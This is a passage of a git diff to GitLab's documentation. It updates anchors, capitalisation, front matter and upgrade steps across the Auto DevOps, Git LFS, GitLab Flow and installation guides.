+| `CANARY_ENABLED` | From GitLab 11.0, used to define a [deploy policy for canary environments](#deploy-policy-for-canary-environments). |
| `CANARY_PRODUCTION_REPLICAS` | Number of canary replicas to deploy for [Canary Deployments](../../user/project/canary_deployments.md) in the production environment. Takes precedence over `CANARY_REPLICAS`. Defaults to 1. |
| `CANARY_REPLICAS` | Number of canary replicas to deploy for [Canary Deployments](../../user/project/canary_deployments.md). Defaults to 1. |
| `DOCKERFILE_PATH` | From GitLab 13.2, allows overriding the [default Dockerfile path for the build stage](#custom-dockerfile) |
| `HELM_RELEASE_NAME` | From GitLab 12.1, allows the `helm` release name to be overridden. Can be used to assign unique release names when deploying multiple projects to a single namespace. |
| `HELM_UPGRADE_VALUES_FILE` | From GitLab 12.6, allows the `helm upgrade` values file to be overridden. Defaults to `.gitlab/auto-deploy-values.yaml`. |
-| `HELM_UPGRADE_EXTRA_ARGS` | From GitLab 11.11, allows extra arguments in `helm` commands when deploying the application. Note that using quotes won't prevent word splitting. |
-| `INCREMENTAL_ROLLOUT_MODE` | From GitLab 11.4, if present, can be used to enable an [incremental rollout](#incremental-rollout-to-production-premium) of your application for the production environment. Set to `manual` for manual deployment jobs or `timed` for automatic rollout deployments with a 5 minute delay each one. |
+| `HELM_UPGRADE_EXTRA_ARGS` | From GitLab 11.11, allows extra options in `helm upgrade` commands when deploying the application. Note that using quotes won't prevent word splitting. |
+| `INCREMENTAL_ROLLOUT_MODE` | From GitLab 11.4, if present, can be used to enable an [incremental rollout](#incremental-rollout-to-production) of your application for the production environment. Set to `manual` for manual deployment jobs or `timed` for automatic rollout deployments with a 5 minute delay each one. |
| `K8S_SECRET_*` | From GitLab 11.7, any variable prefixed with [`K8S_SECRET_`](#application-secret-variables) will be made available by Auto DevOps as environment variables to the deployed application. |
| `KUBE_INGRESS_BASE_DOMAIN` | From GitLab 11.8, can be used to set a domain per cluster. See [cluster domains](../../user/project/clusters/index.md#base-domain) for more information. |
| `PRODUCTION_REPLICAS` | Number of replicas to deploy in the production environment. Takes precedence over `REPLICAS` and defaults to 1. For zero downtime upgrades, set to 2 or greater. |
@@ -585,7 +595,7 @@ TIP: **Tip:**
You can also set this inside your [project's settings](index.md#deployment-strategy).
This configuration is based on
-[incremental rollout to production](#incremental-rollout-to-production-premium).
+[incremental rollout to production](#incremental-rollout-to-production).
Everything behaves the same way, except:
diff --git a/doc/topics/autodevops/index.md b/doc/topics/autodevops/index.md
index e8a344a41d7..a39f93a26e1 100644
--- a/doc/topics/autodevops/index.md
+++ b/doc/topics/autodevops/index.md
@@ -33,7 +33,7 @@ For requirements, see [Requirements for Auto DevOps](requirements.md) for more i
Auto DevOps is enabled by default for all projects and attempts to run on all pipelines
in each project. An instance administrator can enable or disable this default in the
-[Auto DevOps settings](../../user/admin_area/settings/continuous_integration.md#auto-devops-core-only).
+[Auto DevOps settings](../../user/admin_area/settings/continuous_integration.md#auto-devops).
Auto DevOps automatically disables in individual projects on their first pipeline failure,
if it has not been explicitly enabled for the project.
@@ -83,16 +83,16 @@ project in a simple and automatic way:
1. [Auto Build](stages.md#auto-build)
1. [Auto Test](stages.md#auto-test)
-1. [Auto Code Quality](stages.md#auto-code-quality-starter) **(STARTER)**
-1. [Auto SAST (Static Application Security Testing)](stages.md#auto-sast-ultimate) **(ULTIMATE)**
-1. [Auto Secret Detection](stages.md#auto-secret-detection-ultimate) **(ULTIMATE)**
-1. [Auto Dependency Scanning](stages.md#auto-dependency-scanning-ultimate) **(ULTIMATE)**
-1. [Auto License Compliance](stages.md#auto-license-compliance-ultimate) **(ULTIMATE)**
-1. [Auto Container Scanning](stages.md#auto-container-scanning-ultimate) **(ULTIMATE)**
+1. [Auto Code Quality](stages.md#auto-code-quality) **(STARTER)**
+1. [Auto SAST (Static Application Security Testing)](stages.md#auto-sast) **(ULTIMATE)**
+1. [Auto Secret Detection](stages.md#auto-secret-detection) **(ULTIMATE)**
+1. [Auto Dependency Scanning](stages.md#auto-dependency-scanning) **(ULTIMATE)**
+1. [Auto License Compliance](stages.md#auto-license-compliance) **(ULTIMATE)**
+1. [Auto Container Scanning](stages.md#auto-container-scanning) **(ULTIMATE)**
1. [Auto Review Apps](stages.md#auto-review-apps)
-1. [Auto DAST (Dynamic Application Security Testing)](stages.md#auto-dast-ultimate) **(ULTIMATE)**
+1. [Auto DAST (Dynamic Application Security Testing)](stages.md#auto-dast) **(ULTIMATE)**
1. [Auto Deploy](stages.md#auto-deploy)
-1. [Auto Browser Performance Testing](stages.md#auto-browser-performance-testing-premium) **(PREMIUM)**
+1. [Auto Browser Performance Testing](stages.md#auto-browser-performance-testing) **(PREMIUM)**
1. [Auto Monitoring](stages.md#auto-monitoring)
As Auto DevOps relies on many different components, you should have a basic
@@ -235,12 +235,12 @@ are available:
- **Continuous deployment to production**: Enables [Auto Deploy](stages.md#auto-deploy)
with `master` branch directly deployed to production.
- **Continuous deployment to production using timed incremental rollout**: Sets the
- [`INCREMENTAL_ROLLOUT_MODE`](customize.md#timed-incremental-rollout-to-production-premium) variable
+ [`INCREMENTAL_ROLLOUT_MODE`](customize.md#timed-incremental-rollout-to-production) variable
to `timed`. Production deployments execute with a 5 minute delay between
each increment in rollout.
- **Automatic deployment to staging, manual deployment to production**: Sets the
[`STAGING_ENABLED`](customize.md#deploy-policy-for-staging-and-production-environments) and
- [`INCREMENTAL_ROLLOUT_MODE`](customize.md#incremental-rollout-to-production-premium) variables
+ [`INCREMENTAL_ROLLOUT_MODE`](customize.md#incremental-rollout-to-production) variables
to `1` and `manual`. This means:
- `master` branch is directly deployed to staging.
@@ -274,7 +274,7 @@ The following table is an example of how to configure the three different cluste
|--------------|---------------------------|-------------------------------------------|----------------------------|---|
| review | `review/*` | `review.example.com` | `review/*` | The review cluster which runs all [Review Apps](../../ci/review_apps/index.md). `*` is a wildcard, used by every environment name starting with `review/`. |
| staging | `staging` | `staging.example.com` | `staging` | (Optional) The staging cluster which runs the deployments of the staging environments. You must [enable it first](customize.md#deploy-policy-for-staging-and-production-environments). |
-| production | `production` | `example.com` | `production` | The production cluster which runs the production environment deployments. You can use [incremental rollouts](customize.md#incremental-rollout-to-production-premium). |
+| production | `production` | `example.com` | `production` | The production cluster which runs the production environment deployments. You can use [incremental rollouts](customize.md#incremental-rollout-to-production). |
To add a different cluster for each environment:
diff --git a/doc/topics/autodevops/quick_start_guide.md b/doc/topics/autodevops/quick_start_guide.md
index 6b9b461e76e..02d9669a9bc 100644
--- a/doc/topics/autodevops/quick_start_guide.md
+++ b/doc/topics/autodevops/quick_start_guide.md
@@ -8,7 +8,7 @@ to create a Kubernetes cluster manually using the Google Cloud Platform console.
You will create and deploy a simple application that you create from a GitLab template.
These instructions will also work for a self-managed GitLab instance; you'll just
-need to ensure your own [Runners are configured](../../ci/runners/README.md) and
+need to ensure your own [runners are configured](../../ci/runners/README.md) and
[Google OAuth is enabled](../../integration/google.md).
## Configure your Google account
@@ -110,7 +110,7 @@ In this guide, we will install Ingress and Prometheus:
NOTE: **Note:**
We won't install GitLab Runner in this quick start guide, as this guide uses the
-shared Runners provided by GitLab.com.
+shared runners provided by GitLab.com.
To install the applications:
@@ -160,18 +160,18 @@ The jobs are separated into stages:
- The `test` job runs unit and integration tests by detecting the language and
framework ([Auto Test](stages.md#auto-test))
- The `code_quality` job checks the code quality and is allowed to fail
- ([Auto Code Quality](stages.md#auto-code-quality-starter)) **(STARTER)**
+ ([Auto Code Quality](stages.md#auto-code-quality)) **(STARTER)**
- The `container_scanning` job checks the Docker container if it has any
- vulnerabilities and is allowed to fail ([Auto Container Scanning](stages.md#auto-container-scanning-ultimate))
+ vulnerabilities and is allowed to fail ([Auto Container Scanning](stages.md#auto-container-scanning))
- The `dependency_scanning` job checks if the application has any dependencies
susceptible to vulnerabilities and is allowed to fail
- ([Auto Dependency Scanning](stages.md#auto-dependency-scanning-ultimate)) **(ULTIMATE)**
+ ([Auto Dependency Scanning](stages.md#auto-dependency-scanning)) **(ULTIMATE)**
- Jobs suffixed with `-sast` run static analysis on the current code to check for potential
- security issues, and are allowed to fail ([Auto SAST](stages.md#auto-sast-ultimate)) **(ULTIMATE)**
- - The `secret-detection` job checks for leaked secrets and is allowed to fail ([Auto Secret Detection](stages.md#auto-secret-detection-ultimate)) **(ULTIMATE)**
+ security issues, and are allowed to fail ([Auto SAST](stages.md#auto-sast)) **(ULTIMATE)**
+ - The `secret-detection` job checks for leaked secrets and is allowed to fail ([Auto Secret Detection](stages.md#auto-secret-detection)) **(ULTIMATE)**
- The `license_management` job searches the application's dependencies to determine each of their
licenses and is allowed to fail
- ([Auto License Compliance](stages.md#auto-license-compliance-ultimate)) **(ULTIMATE)**
+ ([Auto License Compliance](stages.md#auto-license-compliance)) **(ULTIMATE)**
NOTE: **Note:**
All jobs except `test` are allowed to fail in the test stage.
@@ -183,7 +183,7 @@ The jobs are separated into stages:
Kubernetes ([Auto Deploy](stages.md#auto-deploy)).
- **Performance** - Performance tests are run on the deployed application
- ([Auto Browser Performance Testing](stages.md#auto-browser-performance-testing-premium)). **(PREMIUM)**
+ ([Auto Browser Performance Testing](stages.md#auto-browser-performance-testing)). **(PREMIUM)**
- **Cleanup** - Pipelines on `master` include this stage with a `stop_dast_environment` job.
@@ -292,7 +292,7 @@ and customized to fit your workflow. Here are some helpful resources for further
1. [Auto DevOps](index.md)
1. [Multiple Kubernetes clusters](index.md#using-multiple-kubernetes-clusters)
-1. [Incremental rollout to production](customize.md#incremental-rollout-to-production-premium) **(PREMIUM)**
+1. [Incremental rollout to production](customize.md#incremental-rollout-to-production) **(PREMIUM)**
1. [Disable jobs you don't need with environment variables](customize.md#environment-variables)
1. [Use a static IP for your cluster](../../user/clusters/applications.md#using-a-static-ip)
1. [Use your own buildpacks to build your application](customize.md#custom-buildpacks)
diff --git a/doc/topics/autodevops/requirements.md b/doc/topics/autodevops/requirements.md
index 33db94be97e..af98e0a438b 100644
--- a/doc/topics/autodevops/requirements.md
+++ b/doc/topics/autodevops/requirements.md
@@ -48,21 +48,21 @@ To make full use of Auto DevOps with Kubernetes, you need:
- **GitLab Runner** (for all stages)
- Your Runner must be configured to run Docker, usually with either the
+ Your runner must be configured to run Docker, usually with either the
[Docker](https://docs.gitlab.com/runner/executors/docker.html)
or [Kubernetes](https://docs.gitlab.com/runner/executors/kubernetes.html) executors, with
[privileged mode enabled](https://docs.gitlab.com/runner/executors/docker.html#use-docker-in-docker-with-privileged-mode).
- The Runners don't need to be installed in the Kubernetes cluster, but the
+ The runners don't need to be installed in the Kubernetes cluster, but the
Kubernetes executor is easy to use and automatically autoscales.
- You can configure Docker-based Runners to autoscale as well, using
+ You can configure Docker-based runners to autoscale as well, using
[Docker Machine](https://docs.gitlab.com/runner/install/autoscaling.html).
If you've configured GitLab's Kubernetes integration in the first step, you
can deploy it to your cluster by installing the
[GitLab-managed app for GitLab Runner](../../user/clusters/applications.md#gitlab-runner).
- Runners should be registered as [shared Runners](../../ci/runners/README.md#shared-runners)
- for the entire GitLab instance, or [specific Runners](../../ci/runners/README.md#specific-runners)
+ Runners should be registered as [shared runners](../../ci/runners/README.md#shared-runners)
+ for the entire GitLab instance, or [specific runners](../../ci/runners/README.md#specific-runners)
that are assigned to specific projects (the default if you've installed the
GitLab Runner managed application).
diff --git a/doc/topics/autodevops/stages.md b/doc/topics/autodevops/stages.md
index 7c6cf043820..b58c369714e 100644
--- a/doc/topics/autodevops/stages.md
+++ b/doc/topics/autodevops/stages.md
@@ -19,7 +19,7 @@ If you're also using Auto Review Apps and Auto Deploy, and you choose to provide
your own `Dockerfile`, you must either:
- Expose your application to port `5000`, as the
- [default Helm chart](https://gitlab.com/gitlab-org/charts/auto-deploy-app)
+ [default Helm chart](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image/-/tree/master/assets/auto-deploy-app)
assumes this port is available.
- Override the default values by
[customizing the Auto Deploy Helm chart](customize.md#custom-helm-chart).
@@ -237,7 +237,7 @@ a link to the Review App for easy discovery. When the branch or tag is deleted,
such as after merging a merge request, the Review App is also deleted.
Review apps are deployed using the
-[auto-deploy-app](https://gitlab.com/gitlab-org/charts/auto-deploy-app) chart with
+[auto-deploy-app](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image/-/tree/master/assets/auto-deploy-app) chart with
Helm, which you can [customize](customize.md#custom-helm-chart). The application deploys
into the [Kubernetes namespace](../../user/project/clusters/index.md#deployment-variables)
for the environment.
@@ -355,7 +355,7 @@ scale your pod replicas, and to apply custom arguments to the Auto DevOps `helm
commands. This is an easy way to
[customize the Auto Deploy Helm chart](customize.md#custom-helm-chart).
-Helm uses the [auto-deploy-app](https://gitlab.com/gitlab-org/charts/auto-deploy-app)
+Helm uses the [auto-deploy-app](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image/-/tree/master/assets/auto-deploy-app)
chart to deploy the application into the
[Kubernetes namespace](../../user/project/clusters/index.md#deployment-variables)
for the environment.
@@ -474,7 +474,7 @@ Some web applications must run extra deployments for "worker processes". For
example, Rails applications commonly use separate worker processes
to run background tasks like sending emails.
-The [default Helm chart](https://gitlab.com/gitlab-org/charts/auto-deploy-app)
+The [default Helm chart](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image/-/tree/master/assets/auto-deploy-app)
used in Auto Deploy
[has support for running worker processes](https://gitlab.com/gitlab-org/charts/auto-deploy-app/-/merge_requests/9).
diff --git a/doc/topics/autodevops/upgrading_chart.md b/doc/topics/autodevops/upgrading_chart.md
index e4dacdfcf5b..ffa485f6d2c 100644
--- a/doc/topics/autodevops/upgrading_chart.md
+++ b/doc/topics/autodevops/upgrading_chart.md
@@ -62,11 +62,11 @@ include:
image: "registry.gitlab.com/gitlab-org/cluster-integration/auto-deploy-image:v0.17.0"
```
-### Ignore warning and continue deploying
+#### Ignore warning and continue deploying
If you are certain that the new chart version is safe to be deployed,
-you can add the `AUTO_DEVOPS_ALLOW_TO_FORCE_DEPLOY_V<N>` [environment variable](customize.md#build-and-deployment)
+you can add the `AUTO_DEVOPS_FORCE_DEPLOY_V<N>` [environment variable](customize.md#build-and-deployment)
to force the deployment to continue, where `<N>` is the major version.
For example, if you want to deploy the v2.0.0 chart on a deployment that previously
-used the v0.17.0 chart, add `AUTO_DEVOPS_ALLOW_TO_FORCE_DEPLOY_V2`.
+used the v0.17.0 chart, add `AUTO_DEVOPS_FORCE_DEPLOY_V2`.
diff --git a/doc/topics/git/how_to_install_git/index.md b/doc/topics/git/how_to_install_git/index.md
index 7b842b6a409..1eea49d8ffe 100644
--- a/doc/topics/git/how_to_install_git/index.md
+++ b/doc/topics/git/how_to_install_git/index.md
@@ -1,15 +1,9 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
-author: Sean Packham
-author_gitlab: SeanPackham
-level: beginner
-article_type: user guide
-date: 2017-05-15
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
description: 'This article describes how to install Git on macOS, Ubuntu Linux and Windows.'
type: howto
-last_updated: 2020-04-22
---
# Installing Git
@@ -24,14 +18,14 @@ is also available at the official Git website.
## Install Git on macOS using the Homebrew package manager
-Although it is easy to use the version of Git shipped with macOS
-or install the latest version of Git on macOS by downloading it from the project website,
-we recommend installing it via Homebrew to get access to
-an extensive selection of dependency managed libraries and applications.
+Although you can use the version of Git shipped with macOS or install the latest
+version of Git on macOS by downloading it from the project website, we recommend
+installing Git with Homebrew to get access to an extensive selection of
+dependency-managed libraries and applications.
-If you are sure you don't need access to any additional development libraries
-or don't have approximately 15gb of available disk space for Xcode and Homebrew,
-use one of the aforementioned methods.
+If you don't need access to any additional development libraries or don't have
+approximately 15 GB of available disk space for Xcode and Homebrew, use one of
+the previously mentioned methods.
### Installing Xcode
diff --git a/doc/topics/git/lfs/index.md b/doc/topics/git/lfs/index.md
index 5875cdd4ca1..11997f46255 100644
--- a/doc/topics/git/lfs/index.md
+++ b/doc/topics/git/lfs/index.md
@@ -42,6 +42,7 @@ Documentation for GitLab instance administrators is under [LFS administration do
credentials store is recommended
- Git LFS always assumes HTTPS so if you have GitLab server on HTTP you will have
to add the URL to Git configuration manually (see [troubleshooting](#troubleshooting))
+- Files added using Git LFS are [not included in the archives created using "download zip" functionality](https://gitlab.com/gitlab-org/gitlab/-/issues/15079)
NOTE: **Note:**
With 8.12 GitLab added LFS support to SSH. The Git LFS communication
@@ -109,71 +110,7 @@ To remove objects from LFS:
## File Locking
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/35856) in GitLab 10.5.
-
-The first thing to do before using File Locking is to tell Git LFS which
-kind of files are lockable. The following command will store PNG files
-in LFS and flag them as lockable:
-
-```shell
-git lfs track "*.png" --lockable
-```
-
-After executing the above command a file named `.gitattributes` will be
-created or updated with the following content:
-
-```shell
-*.png filter=lfs diff=lfs merge=lfs -text lockable
-```
-
-You can also register a file type as lockable without using LFS
-(In order to be able to lock/unlock a file you need a remote server that implements the LFS File Locking API),
-in order to do that you can edit the `.gitattributes` file manually:
-
-```shell
-*.pdf lockable
-```
-
-After a file type has been registered as lockable, Git LFS will make
-them read-only on the file system automatically. This means you will
-need to lock the file before editing it.
-
-### Managing Locked Files
-
-Once you're ready to edit your file you need to lock it first:
-
-```shell
-git lfs lock images/banner.png
-Locked images/banner.png
-```
-
-This will register the file as locked in your name on the server:
-
-```shell
-git lfs locks
-images/banner.png joe ID:123
-```
-
-Once you have pushed your changes, you can unlock the file so others can
-also edit it:
-
-```shell
-git lfs unlock images/banner.png
-```
-
-You can also unlock by ID:
-
-```shell
-git lfs unlock --id=123
-```
-
-If for some reason you need to unlock a file that was not locked by you,
-you can use the `--force` flag as long as you have a `maintainer` access on
-the project:
-
-```shell
-git lfs unlock --id=123 --force
-```
+See the documentation on [File Locking](../../../user/project/file_lock.md).
## Troubleshooting
diff --git a/doc/topics/git/lfs/migrate_to_git_lfs.md b/doc/topics/git/lfs/migrate_to_git_lfs.md
index 944f4d8f78d..f0ad7570d87 100644
--- a/doc/topics/git/lfs/migrate_to_git_lfs.md
+++ b/doc/topics/git/lfs/migrate_to_git_lfs.md
@@ -1,7 +1,5 @@
---
-type: tutorial, concepts
description: "How to migrate an existing Git repository to Git LFS with BFG."
-last_updated: 2019-07-11
---
# Migrate a Git repo into Git LFS with BFG
diff --git a/doc/topics/git/numerous_undo_possibilities_in_git/index.md b/doc/topics/git/numerous_undo_possibilities_in_git/index.md
index 285ab133196..77732e0da3e 100644
--- a/doc/topics/git/numerous_undo_possibilities_in_git/index.md
+++ b/doc/topics/git/numerous_undo_possibilities_in_git/index.md
@@ -1,14 +1,8 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
-author: Crt Mori
-author_gitlab: Letme
-level: intermediary
-article_type: tutorial
-date: 2017-05-15
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
type: howto
-last_updated: 2019-05-31
---
# Numerous undo possibilities in Git
@@ -243,7 +237,7 @@ git bisect A..E
Bisect will provide us with commit ID of the middle commit to test, and then guide us
through simple bisection process. You can read more about it [in official Git Tools](https://git-scm.com/book/en/v2/Git-Tools-Debugging-with-Git)
-In our example we will end up with commit `B`, that introduced bug/error. We have
+In our example we will end up with commit `B`, that introduced the bug/error. We have
4 options on how to remove it (or part of it) from our repository.
- Undo (swap additions and deletions) changes introduced by commit `B`:
@@ -409,7 +403,7 @@ the cleanup of detached commits (happens automatically).
### Where modifying history is generally acceptable
Modified history breaks the development chain of other developers, as changed
-history does not have matching commits'ids. For that reason it should not be
+history does not have matching commit IDs. For that reason it should not be
used on any public branch or on branch that *might* be used by other developers.
When contributing to big open source repositories (for example, [GitLab](https://gitlab.com/gitlab-org/gitlab/blob/master/CONTRIBUTING.md#contribution-acceptance-criteria)
itself), it is acceptable to *squash* commits into a single one, to present a
diff --git a/doc/topics/gitlab_flow.md b/doc/topics/gitlab_flow.md
index 339da40b29d..8c5a2092a92 100644
--- a/doc/topics/gitlab_flow.md
+++ b/doc/topics/gitlab_flow.md
@@ -214,17 +214,17 @@ If you have an issue that spans across multiple repositories, create an issue fo
With Git, you can use an interactive rebase (`rebase -i`) to squash multiple commits into one or reorder them.
This functionality is useful if you want to replace a couple of small commits with a single commit, or if you want to make the order more logical.
-However, you should never rebase commits you have pushed to a remote server.
-Rebasing creates new commits for all your changes, which can cause confusion because the same change would have multiple identifiers.
-It also causes merge errors for anyone working on the same branch because their history would not match with yours.
+However, you should avoid rebasing commits you have pushed to a remote server if you have other active contributors in the same branch.
+Since rebasing creates new commits for all your changes, it can cause confusion because the same change would have multiple identifiers.
+It would cause merge errors for anyone working on the same branch because their history would not match with yours. It can be really troublesome for the author or other contributors.
Also, if someone has already reviewed your code, rebasing makes it hard to tell what changed since the last review.
-You should also never rebase commits authored by other people.
+You should never rebase commits authored by other people unless you've agreed otherwise.
Not only does this rewrite history, but it also loses authorship information.
Rebasing prevents the other authors from being attributed and sharing part of the [`git blame`](https://git-scm.com/docs/git-blame).
If a merge involves many commits, it may seem more difficult to undo.
-You might think to solve this by squashing all the changes into one commit before merging, but as discussed earlier, it is a bad idea to rebase commits that you have already pushed.
+You might consider solving this by squashing all the changes into one commit just before merging by using GitLab's [Squash-and-Merge](../user/project/merge_requests/squash_and_merge.md) feature.
Fortunately, there is an easy way to undo a merge with all its commits.
The way to do this is by reverting the merge commit.
Preserving this ability to revert a merge is a good reason to always use the "no fast-forward" (`--no-ff`) strategy when you merge manually.
@@ -241,10 +241,9 @@ Having lots of merge commits can make your repository history messy.
Therefore, you should try to avoid merge commits in feature branches.
Often, people avoid merge commits by just using rebase to reorder their commits after the commits on the `master` branch.
Using rebase prevents a merge commit when merging `master` into your feature branch, and it creates a neat linear history.
-However, as discussed in [the section about rebasing](#squashing-commits-with-rebase), you should never rebase commits you have pushed to a remote server.
-This restriction makes it impossible to rebase work in progress that you already shared with your team, which is something we recommend.
+However, as discussed in [the section about rebasing](#squashing-commits-with-rebase), you should avoid rebasing commits in a feature branch that you're sharing with others.
-Rebasing also creates more work, since every time you rebase, you have to resolve similar conflicts.
+Rebasing could create more work, since every time you rebase, you may need to resolve the same conflicts.
Sometimes you can reuse recorded resolutions (`rerere`), but merging is better since you only have to resolve conflicts once.
Atlassian has a more thorough explanation of the tradeoffs between merging and rebasing [on their blog](https://www.atlassian.com/blog/git/git-team-workflows-merge-or-rebase).
diff --git a/doc/topics/offline/quick_start_guide.md b/doc/topics/offline/quick_start_guide.md
index 817d7d31180..8b9996cb66f 100644
--- a/doc/topics/offline/quick_start_guide.md
+++ b/doc/topics/offline/quick_start_guide.md
@@ -86,7 +86,7 @@ sudo cp /etc/gitlab/ssl/my-host.internal.crt /etc/docker/certs.d/my-host.interna
```
Provide your GitLab Runner (to be installed next) with your certs by
-[following the steps for using trusted certificates with your Runner](https://docs.gitlab.com/runner/install/docker.html#installing-trusted-ssl-server-certificates):
+[following the steps for using trusted certificates with your runner](https://docs.gitlab.com/runner/install/docker.html#installing-trusted-ssl-server-certificates):
```shell
sudo mkdir -p /etc/gitlab-runner/certs
@@ -97,7 +97,7 @@ sudo cp /etc/gitlab/ssl/my-host.internal.crt /etc/gitlab-runner/certs/ca.crt
## Enabling GitLab Runner
[Following a similar process to the steps for installing our GitLab Runner as a
-Docker service](https://docs.gitlab.com/runner/install/docker.html#docker-image-installation), we must first register our Runner:
+Docker service](https://docs.gitlab.com/runner/install/docker.html#docker-image-installation), we must first register our runner:
```shell
$ sudo docker run --rm -it -v /etc/gitlab-runner:/etc/gitlab-runner gitlab/gitlab-runner register
@@ -128,7 +128,7 @@ Make the following changes to `/etc/gitlab-runner/config.toml`:
- Add Docker socket to volumes `volumes = ["/var/run/docker.sock:/var/run/docker.sock", "/cache"]`
- Add `pull_policy = "if-not-present"` to the executor configuration
-Now we can start our Runner:
+Now we can start our runner:
```shell
sudo docker run -d --restart always --name gitlab-runner -v /etc/gitlab-runner:/etc/gitlab-runner -v /var/run/docker.sock:/var/run/docker.sock gitlab/gitlab-runner:latest
diff --git a/doc/topics/web_application_firewall/quick_start_guide.md b/doc/topics/web_application_firewall/quick_start_guide.md
index 9e69bc7e7c7..971250cd526 100644
--- a/doc/topics/web_application_firewall/quick_start_guide.md
+++ b/doc/topics/web_application_firewall/quick_start_guide.md
@@ -14,7 +14,7 @@ to create a Kubernetes cluster manually using the Google Cloud Platform console.
We will create and deploy a simple application that we create from a GitLab template.
These instructions will also work for a self-managed GitLab instance. However, you will
-need to ensure your own [Runners are configured](../../ci/runners/README.md) and
+need to ensure your own [runners are configured](../../ci/runners/README.md) and
[Google OAuth is enabled](../../integration/google.md).
**Note**: GitLab's Web Application Firewall is deployed with [Ingress](../../user/clusters/applications.md#ingress),
@@ -102,7 +102,7 @@ for you to install.
For this guide, we need to install Ingress. Ingress provides load balancing,
SSL termination, and name-based virtual hosting, using NGINX behind
-the scenes. Make sure to switch the toogle to the enabled position before installing.
+the scenes. Make sure to switch the toggle to the enabled position before installing.
Both logging and blocking modes are available for WAF. While logging mode is useful for
auditing anomalous traffic, blocking mode ensures the traffic doesn't reach past Ingress.
@@ -118,7 +118,7 @@ filled in the domain, click **Save changes**.
Prometheus should also be installed. It is an open-source monitoring and
alerting system that we will use to supervise the deployed application.
-We will not install GitLab Runners as we will use the shared Runners that
+We will not install GitLab Runner as we will use the shared runners that
GitLab.com provides.
## Enabling Auto DevOps (optional)
diff --git a/doc/university/README.md b/doc/university/README.md
index 2a9111276d3..d029c91a19f 100644
--- a/doc/university/README.md
+++ b/doc/university/README.md
@@ -47,7 +47,7 @@ The GitLab University curriculum is composed of GitLab videos, screencasts, pres
1. [Repositories, Projects and Groups - Video](https://www.youtube.com/watch?v=4TWfh1aKHHw&index=1&list=PLFGfElNsQthbQu_IWlNOxul0TbS_2JH-e)
1. [Creating a Project in GitLab - Video](https://www.youtube.com/watch?v=7p0hrpNaJ14)
1. [How to Create Files and Directories](https://about.gitlab.com/blog/2016/02/10/feature-highlight-create-files-and-directories-from-files-page/)
-1. [GitLab Todos](https://about.gitlab.com/blog/2016/03/02/gitlab-todos-feature-highlight/)
+1. [GitLab To-Do List](https://about.gitlab.com/blog/2016/03/02/gitlab-todos-feature-highlight/)
1. [GitLab's Work in Progress (WIP) Flag](https://about.gitlab.com/blog/2016/01/08/feature-highlight-wip/)
### 1.5. Migrating from other Source Control
diff --git a/doc/update/mysql_to_postgresql.md b/doc/update/mysql_to_postgresql.md
index 9ad77a80d50..0759d45147a 100644
--- a/doc/update/mysql_to_postgresql.md
+++ b/doc/update/mysql_to_postgresql.md
@@ -1,7 +1,3 @@
----
-last_updated: 2019-06-18
----
-
# Migrating from MySQL to PostgreSQL
This guide documents how to take a working GitLab instance that uses MySQL and
diff --git a/doc/update/upgrading_from_source.md b/doc/update/upgrading_from_source.md
index f8762866a53..a0f042acab2 100644
--- a/doc/update/upgrading_from_source.md
+++ b/doc/update/upgrading_from_source.md
@@ -164,7 +164,16 @@ sudo make prefix=/usr/local install
# You should edit config/gitlab.yml, change the git -> bin_path to /usr/local/bin/git
```
-### 7. Get latest code
+### 7. Update PostgreSQL
+
+CAUTION: **Caution:**
+From GitLab 13.0, you must use at least PostgreSQL 11.
+
+The latest version of GitLab might depend on a more recent PostgreSQL version than what you are currently running (see the [PostgreSQL requirements](../install/requirements.md#postgresql-requirements)).
+
+In order to upgrade PostgreSQL, please refer to its [documentation](https://www.postgresql.org/docs/11/upgrading.html).
+
+### 8. Get latest code
```shell
cd /home/git/gitlab
@@ -192,7 +201,7 @@ cd /home/git/gitlab
sudo -u git -H git checkout BRANCH-ee
```
-### 8. Update GitLab Shell
+### 9. Update GitLab Shell
```shell
cd /home/git/gitlab-shell
@@ -202,7 +211,7 @@ sudo -u git -H git checkout v$(</home/git/gitlab/GITLAB_SHELL_VERSION)
sudo -u git -H make build
```
-### 9. Update GitLab Workhorse
+### 10. Update GitLab Workhorse
Install and compile GitLab Workhorse. GitLab Workhorse uses
[GNU Make](https://www.gnu.org/software/make/).
@@ -217,7 +226,7 @@ sudo -u git -H git checkout v$(</home/git/gitlab/GITLAB_WORKHORSE_VERSION)
sudo -u git -H make
```
-### 10. Update Gitaly
+### 11. Update Gitaly
#### Compile Gitaly
@@ -228,7 +237,7 @@ sudo -u git -H git checkout v$(</home/git/gitlab/GITALY_SERVER_VERSION)
sudo -u git -H make
```
-### 11. Update GitLab Pages
+### 12. Update GitLab Pages
#### Only needed if you use GitLab Pages
@@ -245,7 +254,7 @@ sudo -u git -H git checkout v$(</home/git/gitlab/GITLAB_PAGES_VERSION)
sudo -u git -H make
```
-### 12. Update configuration files
+### 13. Update configuration files
#### New configuration options for `gitlab.yml`
@@ -318,7 +327,7 @@ For Ubuntu 16.04.1 LTS:
sudo systemctl daemon-reload
```
-### 13. Install libraries, migrations, etc
+### 14. Install libraries, migrations, etc
```shell
cd /home/git/gitlab
@@ -342,14 +351,14 @@ sudo -u git -H bundle exec rake yarn:install gitlab:assets:clean gitlab:assets:c
sudo -u git -H bundle exec rake cache:clear RAILS_ENV=production
```
-### 14. Start application
+### 15. Start application
```shell
sudo service gitlab start
sudo service nginx restart
```
-### 15. Check application status
+### 16. Check application status
Check if GitLab and its environment are configured correctly:
diff --git a/doc/user/admin_area/activating_deactivating_users.md b/doc/user/admin_area/activating_deactivating_users.md
index 448c65038c2..29f162616bf 100644
--- a/doc/user/admin_area/activating_deactivating_users.md
